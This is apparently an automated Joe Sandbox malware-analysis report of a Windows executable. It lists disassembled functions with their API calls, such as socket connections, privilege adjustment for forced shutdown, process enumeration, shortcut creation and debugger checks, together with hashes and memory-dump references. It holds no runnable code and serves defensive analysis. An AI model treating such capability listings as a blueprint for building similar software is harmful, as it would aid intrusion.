Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
API String ID: 0-2187161917
Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction ID: a00108c60c87a370816da08520149cd8d3812c199853988ad9c2e13e1cff4348
Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction Fuzzy Hash: 81B29D72A086928AEB748F65D4402BD37A1FB46BD8F104176EB4ED7B9CDF38E9419700

Function 00007FF697BD4074 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BD5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF697BD37FB), ref: 00007FF697BD5E4D

socket.WSOCK32 ref: 00007FF697BD40FC
WSAGetLastError.WSOCK32 ref: 00007FF697BD412D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction ID: 439b40905eafe3fb2fd23cd5b44b1a951f73e4ac2571f1e8b2915a815a583109
Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction Fuzzy Hash: 8C51E332B1865281DB20EF26E4146697B90FF8AFE0F4481B1DE5E8779ADE3CE100C780

Function 00007FF697BC5F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B456D4: GetFullPathNameW.KERNEL32(?,00007FF697B456C1,?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B456FF

CoInitialize.OLE32 ref: 00007FF697BC60A2
CoCreateInstance.OLE32 ref: 00007FF697BC60C5
CoUninitialize.OLE32 ref: 00007FF697BC60E3

Strings

.lnk, xrefs: 00007FF697BC5F94, 00007FF697BC5FE3, 00007FF697BC6090

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize
String ID: .lnk
API String ID: 3769357847-24824748
Opcode ID: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction ID: 96d02171767f4ef6ace56dd84086fdbbeca52bc45df18254f155dd16ef1d6342
Opcode Fuzzy Hash: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction Fuzzy Hash: 55D15976B08A46C5EB20DF6AD0906AC37B0FB9AFC9B488072DE4D97B59DE39D445C300

Function 00007FF697B7793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF697B77A8E

Strings

!, xrefs: 00007FF697B77A7A
fmod, xrefs: 00007FF697B77A58
VUUU, xrefs: 00007FF697B77B5B

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction ID: 82f88f71f58272fe03afe19efdb310926fadedcca2da674a9877eb5f805076df
Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction Fuzzy Hash: 25B1B522A1CFC545D6B78B3454513B6B299EFEA3D0F10D332E95E75AA8DF2895828700

Function 00007FF697B784C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B788E5
_get_daylight.LIBCMT ref: 00007FF697B789C3
_get_daylight.LIBCMT ref: 00007FF697B789DC

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction ID: 5f46b78fe14c54669311b3419a047b795b79acbca311d5e9e7204d73da0efcd9
Opcode Fuzzy Hash: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction Fuzzy Hash: B4A27C32A08A428AEB358F29D5901B937A5FB46BC8F148175DB8D87F9CDF3DE9118704

Function 00007FF697BBC110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF697BBC14F
DeviceIoControl.KERNEL32 ref: 00007FF697BBC1CB
CloseHandle.KERNEL32 ref: 00007FF697BBC1D6

Strings

0, xrefs: 00007FF697BBC1AC

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0
API String ID: 33631002-4108050209
Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction ID: 21380eac8082a1721aeb290b6f4142e71ab245c69b2f0801c1178ba912052855
Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction Fuzzy Hash: ED216D36618B80C6E3308F21E48469A77A4F789B94F14426AEB9D43B98DF3CDA55CB00

Function 00007FF697BBD750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BAD5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF697BAD630
Part of subcall function 00007FF697BAD5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF697BAD66F
Part of subcall function 00007FF697BAD5CC: GetLastError.KERNEL32 ref: 00007FF697BAD682

ExitWindowsEx.USER32 ref: 00007FF697BBD798
InitiateSystemShutdownExW.ADVAPI32 ref: 00007FF697BBD7C0
SetSystemPowerState.KERNEL32 ref: 00007FF697BBD7D2

Strings

SeShutdownPrivilege, xrefs: 00007FF697BBD763

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
String ID: SeShutdownPrivilege
API String ID: 2163645468-3733053543
Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction ID: 76d2ba125d2d26d2a827f1fb8d266ff60bd21edc49fdd39b0e4003edfc85b8e0
Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction Fuzzy Hash: 59119132B1860282EB34DF26E8915AE6361FF85790F4941B5E94DC3AADEF3CE805C740

Function 00007FF697B65BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF697B65C21
IsDebuggerPresent.KERNEL32 ref: 00007FF697B65C39
OutputDebugStringW.KERNEL32 ref: 00007FF697B65C4A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF697B65C43

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction ID: d1c8f7fef8a12e581210949796121b3045ca3c4cbaa5b738a385c919e601932a
Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction Fuzzy Hash: 41116632A14B42A6EB24AF22E6543B933A4FF45795F404175C74DC2A98EF3CE1B4DB10

Function 00007FF697BD7634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF697BD7124), ref: 00007FF697BD764B
GetProcAddress.KERNEL32(?,?,?,00007FF697BD7124), ref: 00007FF697BD7663

Strings

GetModuleHandleExW, xrefs: 00007FF697BD7659
kernel32.dll, xrefs: 00007FF697BD7644

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction ID: 30dac9d9c8b7e72acbca32cda517c565488162396cf2991d67b1795679ae198b
Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction Fuzzy Hash: 6FE0ED76915B06C1EF24EF54E81436823E0FF49B88F8404B5D91D86358EF7CD6A8C300

Function 00007FF697BD6320 Relevance: 6.3, APIs: 4, Instructions: 255COMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF697BD635F
CoUninitialize.OLE32 ref: 00007FF697BD6369

Part of subcall function 00007FF697BB4860: CoCreateInstance.OLE32 ref: 00007FF697BB4931

Part of subcall function 00007FF697BC03E8: VariantInit.OLEAUT32 ref: 00007FF697BC0437
Part of subcall function 00007FF697BC03E8: VariantCopy.OLEAUT32 ref: 00007FF697BC0443
Part of subcall function 00007FF697BC03E8: VariantClear.OLEAUT32 ref: 00007FF697BC0450

VariantInit.OLEAUT32 ref: 00007FF697BD6373
VariantClear.OLEAUT32 ref: 00007FF697BD6690

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearInit$CopyCreateInitializeInstanceUninitialize
String ID:
API String ID: 2733932498-0
Opcode ID: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
Instruction ID: 1d75d8de3f85c6f5c7eac6e764510fcbd1df2aad8e9d132dc6a6ada214005d79
Opcode Fuzzy Hash: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
Instruction Fuzzy Hash: B9B18B76B04B5681EB20DF66D4946BD2760FB8AFD8F0950B6DE4E8779ACE38E440D304

Function 00007FF697BBBE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF697BBBE3B
Process32FirstW.KERNEL32 ref: 00007FF697BBBE4B
CloseHandle.KERNEL32 ref: 00007FF697BBBF55

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction ID: 51ef3035d2063521aa7a7b6df9a5c575e4579b599ea5a065e99ce5fcf169b8db
Opcode Fuzzy Hash: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction Fuzzy Hash: 09419536A18A8291E720EF61E4945BE7360FB85BC4F544072EE8E83759EF7CE505C700

Function 00007FF697B602C4 Relevance: 5.7, Strings: 2, Instructions: 3180COMMON

Download Yara Rule

Strings

x, xrefs: 00007FF697B60D61
DEFINE, xrefs: 00007FF697BA4A98

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: DEFINE$x
API String ID: 0-4035502692
Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction ID: 3a6fa62b07af266982bd9e878bf58f57690dbe713f41db493a57afd4ca82c988
Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction Fuzzy Hash: 98538C72B086528AE778DF29C4406BC37E1FB45BA8F518176DE4997B88EF39E941C700

Function 00007FF697B53C20 Relevance: 5.3, APIs: 3, Instructions: 832COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF697B54F51

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: da6e29006f01bd698c6eac7bc6c5edd526e300c14b6c3d3e53a12b26179e677e
Instruction ID: 2041dc91746b9013173fac211a5a608889671482a803eba902b15d8f4be845b3
Opcode Fuzzy Hash: da6e29006f01bd698c6eac7bc6c5edd526e300c14b6c3d3e53a12b26179e677e
Instruction Fuzzy Hash: 47825932A0CA5286EB748F15E4846B973A4FB56BD8F5440B6DA4EC77A8DF3DE841C700

Function 00007FF697B71750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF697B717DB

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction ID: ceef853a38cbad3582bcfa01100b97411c86337004b139a48765de6b5ccc0656
Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction Fuzzy Hash: F2D19132B1968A87DB34CF15E1846AAB7A1FBC9784F148134DB4E97B48DE3CE945CB10

Function 00007FF697BC6428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF697BC6464
FindNextFileW.KERNEL32 ref: 00007FF697BC64B9
FindClose.KERNEL32 ref: 00007FF697BC64FB

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction ID: 73e04e91e6fb8ca15632dcb4a2b4c897323a17886d58502a4256ba57339014cb
Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction Fuzzy Hash: 1C514A32608A46C6DB24DF29E4902AC7760FB89BD8F548272CB5E877A9CF7CE551C700

Function 00007FF697BC58C4 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF697BC58E4
GetDiskFreeSpaceExW.KERNEL32 ref: 00007FF697BC595A
SetErrorMode.KERNEL32 ref: 00007FF697BC59BA

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
Instruction ID: 9f15cae7dca36ea6e89fb1709588f93454dc505bdbf308b4532e93b2e71f7452
Opcode Fuzzy Hash: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
Instruction Fuzzy Hash: 5F315036608B8586EB209F29E4802AE7760FF89BD4F158171EB8E83769DF7CD546C700

Function 00007FF697BAD5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B64C68: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF697B64C5C

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF697BAD630
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF697BAD66F
GetLastError.KERNEL32 ref: 00007FF697BAD682

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 2278415577-0
Opcode ID: 8475faea5d733a641d8ed04cc9d05f049bff3c861d0b4ae6caf63cee6e71bede
Instruction ID: 84455e92d2cb4903a598ca47a70fb6b1fd294ca0413c3c9a0cac981e5b97d2b8
Opcode Fuzzy Hash: 8475faea5d733a641d8ed04cc9d05f049bff3c861d0b4ae6caf63cee6e71bede
Instruction Fuzzy Hash: 72217C72A08A8186D724EF2AE44426AB7A0FB89BE4F448535DF4D8771CCF78D656C704

Function 00007FF697BAD540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF697BAD58C
CheckTokenMembership.ADVAPI32 ref: 00007FF697BAD5A3
FreeSid.ADVAPI32 ref: 00007FF697BAD5B4

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction ID: fc26d178e53cabe9046c9b3dcb6fc8085cb5ab72c28258933f382703175b3626
